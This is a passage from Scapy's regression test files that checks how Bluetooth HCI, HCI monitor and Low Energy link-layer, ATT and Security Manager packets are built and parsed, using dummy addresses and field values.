HCI_Hdr(b'\x02\x00\x00\x0e\x00\n\x00\x05\x00\x05\x00\x06\x00\x15\x00\x00\x00\x02\x00') assert b.answers(a) assert not a.answers(b) = EIR_Hdr - HCI_LE_Meta_Advertising_Report (single report) a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[ HCI_LE_Meta_Advertising_Report( addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']), EIR_Hdr()/EIR_CompleteLocalName(local_name="scapy"), ] ) ]) assert raw(a) == b'\x04>\x16\x02\x01\x00\x00\xf6\xe5\xd4\xc3\xb2\xa1\n\x02\x01\x04\x06\tscapy\x00' b = HCI_Hdr(raw(a)) b.show() assert b[HCI_Event_Hdr].len > 0 assert b[EIR_CompleteLocalName].local_name == b"scapy" assert b[HCI_LE_Meta_Advertising_Report].addr == "a1:b2:c3:d4:e5:f6" assert a.summary() == "HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports" = EIR_Hdr - HCI_LE_Meta_Advertising_Report (duplicate reports) # When duplicate reports are allowed, there are "Connectable Unidirected # Advertising" reports, and "Scan Responses", for the same device/MAC, in the # same packet. a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[ HCI_LE_Meta_Advertising_Report( addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']), EIR_Hdr()/EIR_CompleteLocalName(local_name="scapy"), ] ), HCI_LE_Meta_Advertising_Report( type=4, # Scan Response addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Manufacturer_Specific_Data( company_id=0xffff, )/Raw(b"ypacs"), EIR_Hdr()/EIR_TX_Power_Level(level=10), EIR_Hdr()/EIR_CompleteList128BitServiceUUIDs(svc_uuids=[ "01234567-89ab-cdef-1023-456789abcdfe", ]) ] ) ]) assert raw(a) == b'\x04>>\x02\x02\x00\x00\xf6\xe5\xd4\xc3\xb2\xa1\n\x02\x01\x04\x06\tscapy\x00\x04\x00\xf6\xe5\xd4\xc3\xb2\xa1\x1e\x08\xff\xff\xffypacs\x02\n\n\x11\x07\xfe\xcd\xab\x89gE#\x10\xef\xcd\xab\x89gE#\x01\x00' b = HCI_Hdr(raw(a)) b.show() assert b[HCI_Event_Hdr].len > 0 assert b[EIR_CompleteLocalName].local_name == b"scapy" assert b[HCI_LE_Meta_Advertising_Report].addr == "a1:b2:c3:d4:e5:f6" assert b[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff assert raw(b[EIR_Manufacturer_Specific_Data].payload) == b"ypacs" assert b[EIR_TX_Power_Level].level == 10 assert b[EIR_CompleteList128BitServiceUUIDs].svc_uuids[0] == UUID("01234567-89ab-cdef-1023-456789abcdfe") assert a.summary() == "HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports" = EIR_Hdr - HCI_LE_Meta_Extended_Advertising_Report a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Extended_Advertising_Reports(reports=[ HCI_LE_Meta_Extended_Advertising_Report( #event_type = 0x0012, scannable = 1, legacy = 1, address_type = 0x01, address="a1:b2:c3:d4:e5:f6", primary_phy = 1, rssi = -85, data=[ EIR_Hdr()/EIR_CompleteList16BitServiceUUIDs( svc_uuids = [0xffff], ), EIR_Hdr()/EIR_ServiceData16BitUUID( svc_uuid = 0xffff )/Raw(b"scapy\x00\x00\x00") ] ), HCI_LE_Meta_Extended_Advertising_Report( #event_type = 0x001a, scannable = 1, scan_response = 1, legacy = 1, address_type = 0x01, address="a1:b2:c3:d4:e5:f6", primary_phy = 1, rssi = -85, data=[ EIR_Hdr()/EIR_Manufacturer_Specific_Data( company_identifier = 0xffff, ) / Raw(b"scapy\x00\x01\x02\x03\x04") ] ), ]) assert raw(a) == b"\x04\x3e\x50\x0d\x02\x12\x00\x01\xf6\xe5\xd4\xc3\xb2\xa1\x01\x00\xff\x7f\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x03\x03\xff\xff\x0b\x16\xff\xffscapy\x00\x00\x00\x1a\x00\x01\xf6\xe5\xd4\xc3\xb2\xa1\x01\x00\xff\x7f\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x0d\xff\xff\xffscapy\x00\x01\x02\x03\x04" b = HCI_Hdr(raw(a)) b.show() assert b[HCI_Event_Hdr].len > 0 assert b[HCI_LE_Meta_Extended_Advertising_Reports].num_reports == 2 assert b[HCI_LE_Meta_Extended_Advertising_Report][0].address == "a1:b2:c3:d4:e5:f6" assert b[HCI_LE_Meta_Extended_Advertising_Report][0].tx_power == 0x7f assert b[HCI_LE_Meta_Extended_Advertising_Report][0].rssi == -85 assert b[HCI_LE_Meta_Extended_Advertising_Report][0].data_length > 0 assert b[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xffff] assert b[EIR_ServiceData16BitUUID].svc_uuid == 0xffff assert raw(b[EIR_ServiceData16BitUUID].payload) == b"scapy\x00\x00\x00" assert b[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff assert raw(b[EIR_Manufacturer_Specific_Data].payload) == b"scapy\x00\x01\x02\x03\x04" = ATT_Hdr - misc a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request_128bit(uuid1=0xa14, uuid2=0xa24) a = HCI_Hdr(raw(a)) a.show() a.mysummary() assert ATT_Read_By_Type_Request_128bit in a assert not Raw in a b = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request(uuid=0xa14) b = HCI_Hdr(raw(b)) b.show() b.mysummary() assert ATT_Read_By_Type_Request in b assert not Raw in b = ATT Read_By_Type_Response pkt = HCI_Hdr(hex_bytes('0248201b001700040009070200020300002a0400020500012a0600020700042a')) assert pkt[ATT_Read_By_Type_Response].len == 7 assert len(pkt.handles) == 3 assert pkt.handles[0].handle == 0x2 assert pkt.handles[1].handle == 0x4 assert pkt.handles[2].handle == 0x6 pkt.handles[0].value == b'\x02\x03\x00\x00*' pkt.handles[1].value == b'\x02\x05\x00\x01*' pkt.handles[2].value == b'\x02\x07\x00\x04*' = SM_Security_Request pkt = HCI_Hdr(hex_bytes('0200260600020006000b0d')) assert SM_Security_Request in pkt assert pkt[SM_Security_Request].auth_req == 0x0d = SM_Public_Key() tests r = raw(SM_Hdr()/SM_Public_Key(key_x="sca", key_y="py")) assert r == b'\x0csca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00py\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = SM_Hdr(r) assert SM_Public_Key in p and p.key_x[:3] == b"sca" and p.key_y[:2] == b"py" = SM_DHKey_Check() tests r = raw(SM_Hdr()/SM_DHKey_Check(dhkey_check="scapy")) assert r == b'\rscapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = SM_Hdr(r) assert SM_DHKey_Check in p and p.dhkey_check[:5] == b"scapy" + HCIMon tests = HCI_Mon - Bluetooth Monitor Pcap Header p = HCI_Mon_Pcap_Hdr(hex_bytes("00000008")) assert HCI_Mon_Pcap_Hdr in p assert p[HCI_Mon_Pcap_Hdr].adapter_id == 0 assert p[HCI_Mon_Pcap_Hdr].opcode == 8 = HCI_Mon - Bluetooth Monitor HCI_Mon_New_Index p = HCI_Mon_Pcap_Hdr(hex_bytes("0000000000030000109a81206863693000000000")) assert HCI_Mon_New_Index in p assert p[HCI_Mon_New_Index].bus == 0 assert p[HCI_Mon_New_Index].type == 3 assert p[HCI_Mon_New_Index].addr == '20:81:9a:10:00:00' assert p[HCI_Mon_New_Index].devname.decode('utf-8').rstrip('\x00') == 'hci0' = HCI_Mon - Bluetooth Monitor HCI_Mon_Delete_Index p = HCI_Mon_Pcap_Hdr(hex_bytes("00000001")) assert HCI_Mon_Pcap_Hdr in p assert p[HCI_Mon_Pcap_Hdr].opcode == 1 = HCI_Mon - Bluetooth Monitor HCI_Mon_Index_Info p = HCI_Mon_Pcap_Hdr(hex_bytes("0000000a0000109a81203101")) assert HCI_Mon_Index_Info in p assert p[HCI_Mon_Index_Info].addr == '20:81:9a:10:00:00' assert p[HCI_Mon_Index_Info].manufacturer == 0x131 = HCI_Mon - Bluetooth Monitor HCI_Mon_System_Note p = HCI_Mon_Pcap_Hdr(hex_bytes("ffff000c426c7565746f6f74682073756273797374656d2076657273696f6e20322e323200")) assert HCI_Mon_System_Note in p assert p[HCI_Mon_System_Note].note == b'Bluetooth subsystem version 2.22' ================================================ FILE: test/scapy/layers/bluetooth4LE.uts ================================================ % Regression tests for the bluetooth4LE layer ################################## #### Bluetooth 4.0 Low Energy #### ################################## + BTLE tests = Default build a = BTLE()/BTLE_ADV()/BTLE_ADV_IND() assert raw(a) == b'\xd6\xbe\x89\x8e\x00\x06\x00\x00\x00\x00\x00\x00Z9`' = Basic dissection b = BTLE(raw(a)) assert b.crc == 0x5a3960 assert b[BTLE_ADV_IND].AdvA == '00:00:00:00:00:00' = BTLE_DATA build a = BTLE(access_addr=0)/BTLE_DATA()/"toto" a = BTLE(raw(a)) assert a[BTLE_DATA].len == 4 assert a[Raw].load == b"toto" = Longer BTLE_ADV a = BTLE()/BTLE_ADV()/BTLE_CONNECT_REQ()/(b"X"*200) assert raw(a) == b'\xd6\xbe\x89\x8e\x05\xea\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXI\xfc\xcf' pkt = BTLE(raw(a)) assert pkt.Length == 0xea assert pkt.load == b"X" * 200 = BTLE_DATA + EIR_ShortenedLocalName test1 = BTLE() / BTLE_ADV() / BTLE_ADV_IND() / EIR_Hdr() / EIR_ShortenedLocalName(local_name= 'wussa') test1e = BTLE(raw(test1)) assert test1e[EIR_ShortenedLocalName].local_name == b"wussa" = LL_CONNECTION_UPDATE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CONNECTION_UPDATE_IND(win_size=2, win_offset=5, interval=0x400, timeout=500, instant=0xFEFE) test = BTLE(raw(test)) assert test[LL_CONNECTION_UPDATE_IND].win_size == 2 assert test[LL_CONNECTION_UPDATE_IND].win_offset == 5 assert test[LL_CONNECTION_UPDATE_IND].interval == 0x400 assert test[LL_CONNECTION_UPDATE_IND].timeout == 500 assert test[LL_CONNECTION_UPDATE_IND].instant == 0xFEFE = LL_CHANNEL_MAP_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CHANNEL_MAP_IND(chM=0x1A1B1C1D1E, instant=0xFEFE) test = BTLE(raw(test)) assert test[LL_CHANNEL_MAP_IND].chM == 0x1A1B1C1D1E assert test[LL_CHANNEL_MAP_IND].instant == 0xFEFE = LL_TERMINATE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_TERMINATE_IND(code=0x16) test = BTLE(raw(test)) assert test[LL_TERMINATE_IND].code == 0x16 = LL_ENC_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_ENC_REQ(rand=0x1112131415161718, ediv=0x4321, skdm=0x1817161514131211, ivm=0x87654321) test = BTLE(raw(test)) assert test[LL_ENC_REQ].rand == 0x1112131415161718 assert test[LL_ENC_REQ].ediv == 0x4321 assert test[LL_ENC_REQ].skdm == 0x1817161514131211 assert test[LL_ENC_REQ].ivm == 0x87654321 = LL_ENC_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_ENC_RSP(skds=0x1817161514131211, ivs=0x87654321) test = BTLE(raw(test)) assert test[LL_ENC_RSP].skds == 0x1817161514131211 assert test[LL_ENC_RSP].ivs == 0x87654321 = LL_START_ENC_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_START_ENC_REQ() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 5 = LL_START_ENC_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_START_ENC_RSP() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 6 = LL_UNKNOWN_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_UNKNOWN_RSP(code=4) test = BTLE(raw(test)) assert test[LL_UNKNOWN_RSP].code == 4 = LL_FEATURE_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_FEATURE_REQ(feature_set=0x011234) test = BTLE(raw(test)) assert test[LL_FEATURE_REQ].feature_set == \ "ext_reject_ind+le_ping+le_data_len_ext+tx_mod_idx+le_ext_adv+conn_cte_req" = LL_FEATURE_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_FEATURE_RSP(feature_set=0x104321) test = BTLE(raw(test)) print(test[LL_FEATURE_RSP].feature_set) assert test[LL_FEATURE_RSP].feature_set == \ "le_encryption+le_data_len_ext+le_2m_phy+tx_mod_idx+ch_sel_alg+antenna_switching_cte_aod_tx" = LL_PAUSE_ENC_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PAUSE_ENC_REQ() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 10 = LL_PAUSE_ENC_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PAUSE_ENC_RSP() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 11 = LL_VERSION_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_VERSION_IND(version=7, company=0x59, subversion=1) test = BTLE(raw(test)) assert test[LL_VERSION_IND].version == 7 assert test[LL_VERSION_IND].company == 0x59 assert test[LL_VERSION_IND].subversion == 1 = LL_REJECT_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_REJECT_IND(code=4) test = BTLE(raw(test)) assert test[LL_REJECT_IND].code == 4 = LL_SLAVE_FEATURE_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_SLAVE_FEATURE_REQ(feature_set=0x1234) test = BTLE(raw(test)) assert test[LL_SLAVE_FEATURE_REQ].feature_set == \ "ext_reject_ind+le_ping+le_data_len_ext+tx_mod_idx+le_ext_adv" = LL_CONNECTION_PARAM_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CONNECTION_PARAM_REQ(interval_min=10, interval_max=12, latency=1, timeout=2, preferred_periodicity=3, reference_conn_evt_count=4, offset0=5, offset1=6, offset2=7, offset3=8, offset4=9, offset5=10) test = BTLE(raw(test)) assert test[LL_CONNECTION_PARAM_REQ].interval_min == 10 assert test[LL_CONNECTION_PARAM_REQ].interval_max == 12 assert test[LL_CONNECTION_PARAM_REQ].latency == 1 assert test[LL_CONNECTION_PARAM_REQ].timeout == 2 assert test[LL_CONNECTION_PARAM_REQ].preferred_periodicity == 3 assert test[LL_CONNECTION_PARAM_REQ].reference_conn_evt_count == 4 assert test[LL_CONNECTION_PARAM_REQ].offset0 == 5 assert test[LL_CONNECTION_PARAM_REQ].offset1 == 6 assert test[LL_CONNECTION_PARAM_REQ].offset2 == 7 assert test[LL_CONNECTION_PARAM_REQ].offset3 == 8 assert test[LL_CONNECTION_PARAM_REQ].offset4 == 9 assert test[LL_CONNECTION_PARAM_REQ].offset5 == 10 = LL_CONNECTION_PARAM_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CONNECTION_PARAM_RSP(interval_min=10, interval_max=12, latency=1, timeout=2, preferred_periodicity=3, reference_conn_evt_count=4, offset0=5, offset1=6, offset2=7, offset3=8, offset4=9, offset5=10) test = BTLE(raw(test)) assert test[LL_CONNECTION_PARAM_RSP].interval_min == 10 assert test[LL_CONNECTION_PARAM_RSP].interval_max == 12 assert test[LL_CONNECTION_PARAM_RSP].latency == 1 assert test[LL_CONNECTION_PARAM_RSP].timeout == 2 assert test[LL_CONNECTION_PARAM_RSP].preferred_periodicity == 3 assert test[LL_CONNECTION_PARAM_RSP].reference_conn_evt_count == 4 assert test[LL_CONNECTION_PARAM_RSP].offset0 == 5 assert test[LL_CONNECTION_PARAM_RSP].offset1 == 6 assert test[LL_CONNECTION_PARAM_RSP].offset2 == 7 assert test[LL_CONNECTION_PARAM_RSP].offset3 == 8 assert test[LL_CONNECTION_PARAM_RSP].offset4 == 9 assert test[LL_CONNECTION_PARAM_RSP].offset5 == 10 = LL_REJECT_EXT_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_REJECT_EXT_IND(reject_opcode=2, error_code=4) test = BTLE(raw(test)) assert test[LL_REJECT_EXT_IND].reject_opcode == 2 assert test[LL_REJECT_EXT_IND].error_code == 4 = LL_PING_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PING_REQ() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 18 = LL_PING_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PING_RSP() test = BTLE(raw(test)) assert test[BTLE_CTRL].opcode == 19 = LL_LENGTH_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_LENGTH_REQ(max_rx_bytes=28, max_rx_time=329, max_tx_bytes=29, max_tx_time=330) test = BTLE(raw(test)) assert test[LL_LENGTH_REQ].max_rx_bytes == 28 assert test[LL_LENGTH_REQ].max_rx_time == 329 assert test[LL_LENGTH_REQ].max_tx_bytes == 29 assert test[LL_LENGTH_REQ].max_tx_time == 330 = LL_LENGTH_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_LENGTH_RSP(max_tx_bytes=28, max_tx_time=329, max_rx_bytes=29, max_rx_time=330) test = BTLE(raw(test)) assert test[LL_LENGTH_RSP].max_tx_bytes == 28 assert test[LL_LENGTH_RSP].max_tx_time == 329 assert test[LL_LENGTH_RSP].max_rx_bytes == 29 assert test[LL_LENGTH_RSP].max_rx_time == 330 = LL_PHY_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_PHY_REQ(tx_phys="phy_1m+phy_2m", rx_phys="phy_coded") test = BTLE(raw(test)) assert test[LL_PHY_REQ].tx_phys == "phy_1m+phy_2m" assert test[LL_PHY_REQ].rx_phys == "phy_coded" = LL_PHY_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_PHY_RSP(tx_phys="phy_1m+phy_2m", rx_phys="phy_coded") test = BTLE(raw(test)) assert test[LL_PHY_RSP].tx_phys == "phy_1m+phy_2m" assert test[LL_PHY_RSP].rx_phys == "phy_coded" = LL_PHY_UPDATE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_PHY_UPDATE_IND(tx_phy="phy_2m", rx_phy="phy_coded", instant=1234) test = BTLE(raw(test)) assert test[LL_PHY_UPDATE_IND].tx_phy == "phy_2m" assert test[LL_PHY_UPDATE_IND].rx_phy == "phy_coded" assert test[LL_PHY_UPDATE_IND].instant == 1234 # LL_MIN_USED_CHANNELS_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_MIN_USED_CHANNELS_IND(phys="phy_1m+phy_2m", min_used_channels=3) test = BTLE(raw(test)) assert test[LL_MIN_USED_CHANNELS_IND].phys == "phy_1m+phy_2m" assert test[LL_MIN_USED_CHANNELS_IND].min_used_channels == 3 # LL_CTE_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CTE_REQ(min_cte_len_req=20, rfu=1, cte_type_req=2) test = BTLE(raw(test)) assert test[LL_CTE_REQ].min_cte_len_req == 20 assert test[LL_CTE_REQ].rfu == 1 assert test[LL_CTE_REQ].cte_type_req == 2 # LL_CTE_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CTE_RSP() test = BTLE(raw(test)) # LL_PERIODIC_SYNC_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_PERIODIC_SYNC_IND(id=2, sync_info=12345, conn_event_count=0x4321, last_pa_event_counter=0xabcd, sid=0xF, a_type=1, sca=3, phy=2, AdvA="cc:bb:bb:bb:bb:bb", sync_conn_event_count=32) test = BTLE(raw(test)) assert test[LL_PERIODIC_SYNC_IND].id == 2 assert test[LL_PERIODIC_SYNC_IND].sync_info == 12345 assert test[LL_PERIODIC_SYNC_IND].conn_event_count == 0x4321 assert test[LL_PERIODIC_SYNC_IND].last_pa_event_counter == 0xabcd assert test[LL_PERIODIC_SYNC_IND].sid == 0xF assert test[LL_PERIODIC_SYNC_IND].a_type == 1 assert test[LL_PERIODIC_SYNC_IND].sca == 3 assert test[LL_PERIODIC_SYNC_IND].phy == 2 assert test[LL_PERIODIC_SYNC_IND].AdvA == "cc:bb:bb:bb:bb:bb" assert test[LL_PERIODIC_SYNC_IND].sync_conn_event_count == 32 # LL_CLOCK_ACCURACY_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CLOCK_ACCURACY_REQ(sca=2) test = BTLE(raw(test)) assert test[LL_CLOCK_ACCURACY_REQ].sca == 2 # LL_CLOCK_ACCURACY_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CLOCK_ACCURACY_RSP(sca=3) test = BTLE(raw(test)) assert test[LL_CLOCK_ACCURACY_RSP].sca == 3 # LL_CIS_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CIS_REQ(cig_id=3, cis_id=2, phy_c_to_p=1, phy_p_to_c=2, max_sdu_c_to_p=123, max_sdu_p_to_c=321, sdu_interval_c_to_p=234, framed=1, sdu_interval_p_to_c=432, max_pdu_c_to_p=123, max_pdu_p_to_c=234, nse=10, subinterval=4567, bn_c_to_p=3, bn_p_to_c=2, ft_c_to_p=15, ft_p_to_c=16, iso_interval=12345, cis_offset_min=1, cis_offset_max=999, conn_event_count=2) test = BTLE(raw(test)) assert test[LL_CIS_REQ].cig_id == 3 assert test[LL_CIS_REQ].cis_id == 2 assert test[LL_CIS_REQ].phy_c_to_p == 1 assert test[LL_CIS_REQ].phy_p_to_c == 2 assert test[LL_CIS_REQ].max_sdu_c_to_p == 123 assert test[LL_CIS_REQ].framed == 1 assert test[LL_CIS_REQ].max_sdu_p_to_c == 321 assert test[LL_CIS_REQ].sdu_interval_c_to_p == 234 assert test[LL_CIS_REQ].sdu_interval_p_to_c == 432 assert test[LL_CIS_REQ].max_pdu_c_to_p == 123 assert test[LL_CIS_REQ].max_pdu_p_to_c == 234 assert test[LL_CIS_REQ].nse == 10 assert test[LL_CIS_REQ].subinterval == 4567 assert test[LL_CIS_REQ].bn_c_to_p == 3 assert test[LL_CIS_REQ].bn_p_to_c == 2 assert test[LL_CIS_REQ].ft_c_to_p == 15 assert test[LL_CIS_REQ].ft_p_to_c == 16 assert test[LL_CIS_REQ].iso_interval == 12345 assert test[LL_CIS_REQ].cis_offset_min == 1 assert test[LL_CIS_REQ].cis_offset_max == 999 assert test[LL_CIS_REQ].conn_event_count == 2 # LL_CIS_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CIS_RSP(cis_offset_min=1, cis_offset_max=999, conn_event_count=400) test = BTLE(raw(test)) assert test[LL_CIS_RSP].cis_offset_min == 1 assert test[LL_CIS_RSP].cis_offset_max == 999 assert test[LL_CIS_RSP].conn_event_count == 400 # LL_CIS_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CIS_IND(AA=0x12345678, cis_offset=1, cig_sync_delay=999, cis_sync_delay=400, conn_event_count=300) test = BTLE(raw(test)) assert test[LL_CIS_IND].AA == 0x12345678 assert test[LL_CIS_IND].cis_offset == 1 assert test[LL_CIS_IND].cig_sync_delay == 999 assert test[LL_CIS_IND].cis_sync_delay == 400 assert test[LL_CIS_IND].conn_event_count == 300 # LL_CIS_TERMINATE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CIS_TERMINATE_IND(cig_id=33, cis_id=44, error_code=55) test = BTLE(raw(test)) assert test[LL_CIS_TERMINATE_IND].cig_id == 33 assert test[LL_CIS_TERMINATE_IND].cis_id == 44 assert test[LL_CIS_TERMINATE_IND].error_code == 55 # LL_POWER_CONTROL_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_POWER_CONTROL_REQ(phy=3, delta=-34, tx_power=55) test = BTLE(raw(test)) assert test[LL_POWER_CONTROL_REQ].phy == 3 assert test[LL_POWER_CONTROL_REQ].delta == -34 assert test[LL_POWER_CONTROL_REQ].tx_power == 55 # LL_POWER_CONTROL_RSP test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_POWER_CONTROL_RSP(min=0, max=1, delta=-34, tx_power=55, apr=4) test = BTLE(raw(test)) assert test[LL_POWER_CONTROL_RSP].min == 0 assert test[LL_POWER_CONTROL_RSP].max == 1 assert test[LL_POWER_CONTROL_RSP].delta == -34 assert test[LL_POWER_CONTROL_RSP].tx_power == 55 assert test[LL_POWER_CONTROL_RSP].apr == 4 # LL_POWER_CHANGE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_POWER_CHANGE_IND(phy=3, min=0, max=1, delta=-34, tx_power=55) test = BTLE(raw(test)) assert test[LL_POWER_CHANGE_IND].phy == 3 assert test[LL_POWER_CHANGE_IND].min == 0 assert test[LL_POWER_CHANGE_IND].max == 1 assert test[LL_POWER_CHANGE_IND].delta == -34 assert test[LL_POWER_CHANGE_IND].tx_power == 55 # LL_SUBRATE_REQ test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_SUBRATE_REQ(subrate_factor_min=3, subrate_factor_max=0, max_latency=1, continuation_number=123, timeout=55) test = BTLE(raw(test)) assert test[LL_SUBRATE_REQ].subrate_factor_min == 3 assert test[LL_SUBRATE_REQ].subrate_factor_max == 0 assert test[LL_SUBRATE_REQ].max_latency == 1 assert test[LL_SUBRATE_REQ].continuation_number == 123 assert test[LL_SUBRATE_REQ].timeout == 55 # LL_SUBRATE_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_SUBRATE_IND(subrate_factor=3, subrate_base_event=0, latency=1, continuation_number=123, timeout=55) test = BTLE(raw(test)) assert test[LL_SUBRATE_IND].subrate_factor == 3 assert test[LL_SUBRATE_IND].subrate_base_event == 0 assert test[LL_SUBRATE_IND].latency == 1 assert test[LL_SUBRATE_IND].continuation_number == 123 assert test[LL_SUBRATE_IND].timeout == 55 # LL_CHANNEL_REPORTING_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CHANNEL_REPORTING_IND(enable=1, min_spacing=123, max_delay=124) test = BTLE(raw(test)) assert test[LL_CHANNEL_REPORTING_IND].enable == 1 assert test[LL_CHANNEL_REPORTING_IND].min_spacing == 123 assert test[LL_CHANNEL_REPORTING_IND].max_delay == 124 # LL_CHANNEL_STATUS_IND test = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \ LL_CHANNEL_STATUS_IND(channel_classification=123456789012345) test = BTLE(raw(test)) assert test[LL_CHANNEL_STATUS_IND].channel_classification == 123456789012345 = BTLE_DATA + BTLE_EMPTY_PDU test = BTLE(access_addr=1)/BTLE_DATA(LLID=1, len=0)/BTLE_EMPTY_PDU() a = BTLE(raw(test)) print(dir(a)) print(a.layers) print(a[BTLE_DATA].len, a[BTLE_DATA].LLID) assert a[BTLE_DATA].len == 0 = BTLE_DATA + ATT_PrepareWriteReq test3 = BTLE(access_addr=1) / BTLE_DATA() / L2CAP_Hdr() / ATT_Hdr() / ATT_Prepare_Write_Request(gatt_handle = 0xa, data="test") test3e = BTLE(raw(test3)) assert test3e[ATT_Prepare_Write_Request].data == b"test" assert test3e[ATT_Prepare_Write_Request].gatt_handle == 0xa assert test3e[ATT_Hdr].opcode == 0x16 = BTLE layers # a crazy packet with all classes in it! pkt = BTLE()/BTLE_ADV()/BTLE_ADV_DIRECT_IND()/BTLE_ADV_IND()/BTLE_ADV_NONCONN_IND()/BTLE_ADV_SCAN_IND()/BTLE_CONNECT_REQ()/BTLE_DATA()/BTLE_PPI()/BTLE_SCAN_REQ()/BTLE_SCAN_RSP() assert BTLE in pkt.layers() assert BTLE_ADV in pkt.layers() assert BTLE_ADV_DIRECT_IND in pkt.layers() assert BTLE_ADV_IND in pkt.layers() assert BTLE_ADV_NONCONN_IND in pkt.layers() assert BTLE_ADV_SCAN_IND in pkt.layers() assert BTLE_CONNECT_REQ in pkt.layers() assert BTLE_DATA in pkt.layers() assert BTLE_PPI in pkt.layers() assert BTLE_SCAN_REQ in pkt.layers() assert 